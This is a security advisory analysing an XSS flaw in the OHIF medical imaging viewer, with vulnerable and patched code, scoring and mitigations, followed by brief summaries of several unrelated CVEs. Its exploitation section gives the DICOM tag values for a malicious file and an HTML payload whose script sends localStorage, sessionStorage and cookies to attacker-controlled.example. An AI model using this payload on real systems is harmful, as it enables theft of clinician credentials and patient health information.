Nov 10, 2026·9 min read·2 visits
OHIF Viewers trusts the attacker-controlled MIMETypeOfEncapsulatedDocument DICOM attribute when creating a same-origin Blob URL rendered inside an HTML <object> tag. Supplying an HTML payload with a text/html MIME type results in same-origin JavaScript execution when a user views the study.
CVE-2026-118670 (GHSA-xwgp-w3pj-q5h3) is a high-severity DOM-based Cross-Site Scripting (XSS) vulnerability in OHIF Viewers affecting the dicom-pdf extension module. When processing DICOM Encapsulated Document objects, the viewer extracts the untrusted MIMETypeOfEncapsulatedDocument attribute (tag 0042,0012) and uses it directly to instantiate an in-memory Blob. This Blob is then converted to a same-origin Object URL and embedded into the document via an HTML <object> element. Because browsers prioritize the resource's underlying MIME type over the <object> element's type attribute, an attacker who supplies a crafted DICOM file with a MIME type such as text/html can execute arbitrary JavaScript within the application's origin, compromising session tokens, local storage, and Patient Health Information (PHI).
OHIF Viewers is an open-source, web-based medical imaging platform designed to interface with Picture Archiving and Communication Systems (PACS) via DICOMweb protocols (WADO-RS, QIDO-RS, STOW-RS) and local file imports. Within its modular architecture, the @ohif/extension-dicom-pdf extension (extensions/dicom-pdf) handles the parsing and viewport rendering of non-image clinical documentation, specifically targeting the DICOM Encapsulated PDF Storage SOP Class (1.2.840.10008.5.1.4.1.1.104.1).
In clinical workflows, DICOM studies frequently contain encapsulated documents alongside radiological series, such as diagnostic reports, clinical histories, or scanned referrals. To render these documents in a zero-footprint browser environment, the viewer retrieves the raw binary payload from the DICOM instance, constructs a browser-native Blob URL (blob:<origin>/<uuid>), and mounts the resource into the Document Object Model (DOM) using an HTML <object> container.
CVE-2026-118670 (classified under CWE-79: Improper Neutralization of Input During Web Page Generation) stems from the unvalidated propagation of the DICOM attribute MIMETypeOfEncapsulatedDocument (tag (0042,0012)) directly into the Blob constructor's type property. Because the resulting blob: URL inherits the security origin of the parent OHIF application, embedding a Blob assigned a markup MIME type (text/html, application/xhtml+xml, text/xml) into an <object> tag causes the browser to parse and execute embedded scripts within the privileges of the active user session.
Successful exploitation allows an unauthenticated attacker who can introduce a crafted DICOM object into a PACS server or deliver it for local viewing to achieve full same-origin JavaScript execution. Within a healthcare environment, this grants unauthorized access to OAuth2/OIDC bearer tokens in localStorage or sessionStorage, exposure of sensitive Patient Health Information (PHI), and the ability to issue authenticated API requests against backend clinical archives.
According to DICOM Standard Part 3 (PS 3.3), the Encapsulated Document Module encapsulates an arbitrary binary document stream within the EncapsulatedDocument attribute (0042,0011) and declares its media type in the MIMETypeOfEncapsulatedDocument attribute (0042,0012). While the Encapsulated PDF Storage SOP Class (1.2.840.10008.5.1.4.1.1.104.1) expects application/pdf, the contents of both tags are entirely controlled by the entity creating or modifying the DICOM file.
In vulnerable versions of OHIF Viewers (>= 3.5.0-beta.0 prior to patched releases), extensions/dicom-pdf/src/getSopClassHandlerModule.js extracts MIMETypeOfEncapsulatedDocument from the instance metadata and passes it as defaultType to dataSource.retrieve.directURL(). When the underlying data source resolves the binary data—either from an inline base64 binary (InlineBinary) or via a WADO-RS bulkdata request—it instantiates a JavaScript Blob using the attacker-specified MIME type (new Blob([payloadBytes], { type: MIMETypeOfEncapsulatedDocument })) and generates an Object URL via URL.createObjectURL(blob).
The resulting blob: URL is passed to OHIFCornerstonePdfViewport.tsx, which renders <object data={url} type="application/pdf">. Under the WHATWG HTML Living Standard for the <object> element, the type attribute is treated only as an advisory hint prior to resource retrieval. Once the browser fetches the resource from the blob: URL, the authoritative Content-Type header—which for a Blob is its internal type property—overrides the element's type="application/pdf" attribute.
Furthermore, W3C File API specifications dictate that blob: URLs inherit the security origin of the browsing context that created them. When the browser loads a blob: URL with an internal MIME type of text/html inside an <object> element (which establishes a nested browsing context without sandboxing restrictions), the browser renders the HTML document and executes any embedded <script> blocks under the exact origin of the host OHIF Viewer.
In the unpatched codebase, extensions/dicom-pdf/src/getSopClassHandlerModule.js retrieves the MIME type directly from the DICOM metadata dictionary without sanitization or allowlist enforcement, and extensions/dicom-pdf/src/viewports/OHIFCornerstonePdfViewport.tsx embeds the resulting URL into an unsandboxed <object> element:
// Vulnerable code in extensions/dicom-pdf/src/getSopClassHandlerModule.js
const { SeriesDescription = 'PDF', MIMETypeOfEncapsulatedDocument } = instance;
const renderedUrlParams = {
instance,
tag: 'EncapsulatedDocument',
// Attacker controls MIMETypeOfEncapsulatedDocument via tag (0042,0012)
defaultType: MIMETypeOfEncapsulatedDocument || 'application/pdf',
singlepart: 'pdf',
};
const renderedUrl = dataSource.retrieve.directURL(renderedUrlParams);// Vulnerable rendering in extensions/dicom-pdf/src/viewports/OHIFCornerstonePdfViewport.tsx
<object
data={url}
type="application/pdf" // Ignored by browser when Blob internal MIME type is text/html
className={style}
>
<div>No online PDF viewer installed</div>
</object>Pull Request #6228 remediates the flaw by introducing a multi-stage verification and isolation architecture across displayableDocumentTypes.ts and OHIFCornerstonePdfViewport.tsx (commits ef0811c66cdb04ba07ffaba145cf66ce01486899, db546701bd5f2be9031c835f1de5c40aacd3dc62, and f0dba789a313f40fe7e8a8cbec322a8d8a491d76). First, the patch defines an explicit allowlist of displayable document types, normalizing non-standard aliases and separating rendering strategies between 'object' and 'iframe':
// Patched allowlist and strategy mapping in displayableDocumentTypes.ts
export const DISPLAYABLE_DOCUMENT_TYPES: Record<string, DisplayableDocumentType> = {
'application/pdf': {
mimeType: 'application/pdf',
strategy: 'object',
// Enforce %PDF- magic byte verification
signature: [0x25, 0x50, 0x44, 0x46, 0x2d],
signatureSearchLimit: 1024,
},
'text/html': {
mimeType: 'text/html',
strategy: 'iframe',
// Empty sandbox disables scripts and enforces an opaque origin
sandbox: '',
},
'application/xhtml+xml': {
mimeType: 'application/xhtml+xml',
strategy: 'iframe',
sandbox: '',
},
'text/xml': {
mimeType: 'text/xml',
strategy: 'iframe',
sandbox: '',
},
'application/xml': {
mimeType: 'application/xml',
strategy: 'iframe',
sandbox: '',
},
'text/plain': {
mimeType: 'text/plain',
strategy: 'iframe',
sandbox: '',
},
};Second, to prevent content-sniffing attacks or polyglot payloads where an HTML document is declared as application/pdf, the patch inspects the raw ArrayBuffer payload using matchesDocumentSignature(). For PDF documents, it verifies that the %PDF- magic byte sequence (0x25, 0x50, 0x44, 0x46, 0x2D) appears within the first 1024 bytes:
// Binary signature verification in displayableDocumentTypes.ts
export function matchesDocumentSignature(
documentType: DisplayableDocumentType,
payload: ArrayBuffer
): boolean {
const { signature, signatureSearchLimit = 0 } = documentType;
if (!signature?.length) return true;
if (payload.byteLength < signature.length) return false;
const lastStart = Math.min(signatureSearchLimit, payload.byteLength - signature.length);
const head = new Uint8Array(payload, 0, lastStart + signature.length);
for (let start = 0; start <= lastStart; start++) {
if (signature.every((byte, index) => head[start + index] === byte)) {
return true;
}
}
return false;
}The fix is comprehensive against both direct MIME manipulation and MIME spoofing. By re-wrapping verified PDF payloads into a new Blob with a hardcoded canonical application/pdf type only after verifying the %PDF- header, and forcing all markup/text types (text/html, text/xml, application/xhtml+xml) into an <iframe sandbox="" referrerPolicy="no-referrer"> element, the patch isolates non-PDF content in a unique opaque origin with script execution disabled.
Exploiting CVE-2026-118670 requires no prior authentication if the target environment accepts external DICOM studies via network ingestion (such as an unauthenticated DICOM C-STORE listener or an open STOW-RS endpoint) or if a clinician loads a file via the local file import workflow. User interaction is required only insofar as a victim user must open the malicious study series within the OHIF Viewer interface.
To construct an exploit payload, an attacker generates a valid DICOM Part 10 file with the following attributes:
(0008,0016): 1.2.840.10008.5.1.4.1.1.104.1 (Encapsulated PDF Storage)(0008,0060): DOC or OT(0042,0012): text/html(0042,0011): Raw bytes of an HTML document containing JavaScript.<!DOCTYPE html>
<html>
<head>
<script>
// Execute within the OHIF Viewer origin
const authData = {
localStorage: { ...window.localStorage },
sessionStorage: { ...window.sessionStorage },
cookies: document.cookie,
origin: window.origin
};
fetch('https://attacker-controlled.example/collect', {
method: 'POST',
mode: 'cors',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify(authData)
});
</script>
</head>
<body>
<p>Loading clinical document...</p>
</body>
</html>When the clinician selects the encapsulated document series in OHIF Viewer, OHIFCornerstonePdfViewport fetches the EncapsulatedDocument byte stream, constructs new Blob([bytes], { type: 'text/html' }), and mounts the resulting blob: URL into <object data="blob:https://pacs.example.org/..."></object>. The browser parses the HTML and executes the <script> block immediately.
> [!NOTE]
> Because the <object> browsing context shares the parent window's origin, the script can also access window.parent (or window.top) to manipulate the OHIF application DOM directly, hook internal Cornerstone3D or DICOMweb data source services, or silently alter diagnostic annotations displayed to the radiologist.
CVE-2026-118670 carries a CVSS v3.1 base score of 8.8 (High) with the vector CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:L. The Scope metric is marked as Changed (S:C) because the vulnerability originates in the processing of untrusted data within the DICOM document parser/handler component and breaks out into the broader browser execution context of the hosting web application.
Confidentiality impact is rated High (C:H). In enterprise deployments, OHIF Viewers authenticates to upstream PACS and Vendor Neutral Archives (VNAs) using OpenID Connect (OIDC) or OAuth 2.0. The resulting access tokens and refresh tokens are stored in window.localStorage or window.sessionStorage. An attacker executing same-origin JavaScript can exfiltrate these credentials or directly invoke QIDO-RS and WADO-RS APIs from the victim's browser to exfiltrate arbitrary patient studies and Protected Health Information (PHI).
Integrity (I:L) and Availability (A:L) impacts reflect the attacker's ability to modify client-side state, forge DICOMweb STOW-RS requests (such as uploading falsified structured reports or annotations under the clinician's identity), or disrupt the diagnostic viewport by crashing or redirecting the parent window.
At the time of analysis, CVE-2026-118670 is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog, and its EPSS score stands at 0.00421 (36.69th percentile), indicating a 0.42% statistical probability of exploitation in the wild within a 30-day window.
Organizations deploying OHIF Viewers must upgrade to a patched version that enforces MIME allowlisting, %PDF- binary signature verification, and <iframe> sandboxing:
3.12.x release line: upgrade to v3.12.15 or later.3.13.x release line: upgrade to v3.13.7 or later.3.14.x pre-release line: upgrade to v3.14.0-beta.19 or later.If immediate upgrading is not feasible, administrators can implement defense-in-depth mitigations at the web server and PACS gateway tiers. First, configure strict HTTP Content Security Policy (CSP) headers on the web server hosting OHIF Viewers to restrict script execution and outbound network connections:
Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'self' blob:; connect-src 'self' https://authorized-pacs.hospital.org;Note that while script-src 'self' blocks inline <script> execution inside same-origin blob: documents in modern browsers, restricting connect-src is essential to prevent data exfiltration if script execution is achieved via external same-origin script gadgets.
Second, implement DICOM attribute filtering on upstream PACS ingestion gateways (e.g., Orthanc incoming instance callbacks, dcm4chee coercion rules, or custom C-STORE/STOW-RS proxies). Configure the gateway to inspect all incoming DICOM instances matching SOP Class UID 1.2.840.10008.5.1.4.1.1.104.1 and reject any instance where tag (0042,0012) (MIMETypeOfEncapsulatedDocument) is not strictly equal to application/pdf, or where the initial 1024 bytes of tag (0042,0011) (EncapsulatedDocument) do not contain the ASCII string %PDF-.
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:L| Product | Affected Versions | Fixed Version |
|---|---|---|
OHIF Viewers OHIF (Open Health Imaging Foundation) | >= 3.5.0-beta.0, < 3.12.15 | 3.12.15 |
OHIF Viewers OHIF (Open Health Imaging Foundation) | >= 3.13.0-beta.0, < 3.13.7 | 3.13.7 |
OHIF Viewers OHIF (Open Health Imaging Foundation) | >= 3.14.0-beta.0, < 3.14.0-beta.19 | 3.14.0-beta.19 |
| Attribute | Detail |
|---|---|
| Vulnerability Type | DOM-Based Cross-Site Scripting (CWE-79) |
| Affected Component | @ohif/extension-dicom-pdf (DICOM Encapsulated Document Handler) |
| Attack Vector | Network / Malicious DICOM Study (Tag 0042,0012) |
| CVSS v3.1 Score | 8.8 HIGH (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:L) |
| EPSS Score | 0.42% (36.69th Percentile) |
| Impact | Same-origin JS execution, OIDC/OAuth token theft, PHI exposure |
| CISA KEV Status | Not Listed |
| Fixed Versions | 3.12.15, 3.13.7, 3.14.0-beta.19 |
The software does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users.
CVE-2026-118776 (also tracked as GHSA-2vgq-wchc-25w7) is an improper input and integrity check validation vulnerability affecting the node-forge cryptographic library prior to version 1.4.1. In vulnerable versions, the PKCS#7 unpadding implementations for Cipher Block Chaining (CBC) and Electronic Codebook (ECB) modes only examined the final byte of the decrypted buffer and permitted padding counts up to four times the cipher block size. This defect allowed malformed ciphertexts containing zero-length padding, oversized padding values, or mismatched preceding padding bytes to pass validation, resulting in silent plaintext truncation of up to four blocks and integrity verification bypass in applications relying on unpadding success.
CVE-2026-118774 (GHSA-9wg5-mj3p-v49q) is an improper cryptographic signature verification vulnerability (CWE-347) in node-forge versions prior to 1.4.1. When verifying an X.509 subordinate certificate via certificate.verify(child) or verifyCertificateChain(), the library erroneously selects the RSA padding scheme (e.g., PKCS#1 v1.5 vs. RSASSA-PSS) and RSASSA-PSS parameters from the issuer certificate rather than from the child certificate being verified. This enables an attacker to relabel a PKCS#1 v1.5-signed certificate as an RSASSA-PSS certificate without invalidating the signature check, bypassing downstream security policies that mandate RSASSA-PSS.
A Denial of Service (DoS) vulnerability exists in the web display module (urwid/display/web.py) of the Urwid console user interface library for Python in versions prior to 4.0.7. The handle_short_request() function unconditionally encodes HTTP POST input as ASCII without exception handling and opens a FIFO pipe file descriptor without a guaranteed cleanup block. Submitting non-ASCII characters triggers an unhandled UnicodeEncodeError that terminates CGI request processing and leaks the open file descriptor. Additionally, the screen update polling routine decodes Unix domain socket streams iteratively as UTF-8 without exception handling or deterministic socket closure, enabling uncaught UnicodeDecodeError exceptions and socket leaks.
CVE-2026-115770 is a critical vulnerability (CVSS 9.6) in Pocket ID, an OpenID Connect (OIDC) provider that uses passkey authentication. In versions 2.2.0 through 2.11.0, email verification tokens are bound exclusively to the user account identifier (user_id) rather than the specific email address for which the token was issued. In addition, updating the account email address does not invalidate existing verification tokens. An authenticated user can request a verification token for an attacker-controlled address, modify their profile email to an arbitrary unverified target address, and redeem the previously issued token. This marks the target email address as verified (email_verified = true), enabling account takeover on downstream OIDC relying parties that link or provision accounts based on verified email claims.
CVE-2026-102895 is an improper authentication and origin validation vulnerability in GPUStack versions prior to 2.2.0. By default, the API authentication dependency in gpustack/api/auth.py grants built-in administrator privileges to unauthenticated requests resolved as originating from 127.0.0.1 when the force_auth_localhost flag is false. Because client IP resolution trusts same-host reverse proxy TCP peers and unvalidated X-GPUStack-Real-IP headers, remote unauthenticated attackers can bypass authentication, obtain full administrative control, extract sensitive credentials, and achieve remote code execution via the /v2/inference-backends/from-yaml endpoint.
CVE-2026-87008 (GHSA-85gg-2gfq-q95m) is a high-severity symbolic link following and path traversal vulnerability in the `code-graph-rag` Python package prior to version 0.0.589. The flaw resides in the `should_skip_path` path validation routine inside `codebase_rag/utils/path_utils.py`, which performs directory containment checks using unresolved lexical paths rather than canonicalized filesystem paths. Consequently, symbolic links committed to an untrusted repository that point to targets outside the project root bypass boundary enforcement. Attackers who supply a crafted repository containing symbolic links can leverage the `AstGrepService` tool (`structural_search` and `structural_replace`) to read or overwrite arbitrary files on the host filesystem within the privileges of the running process.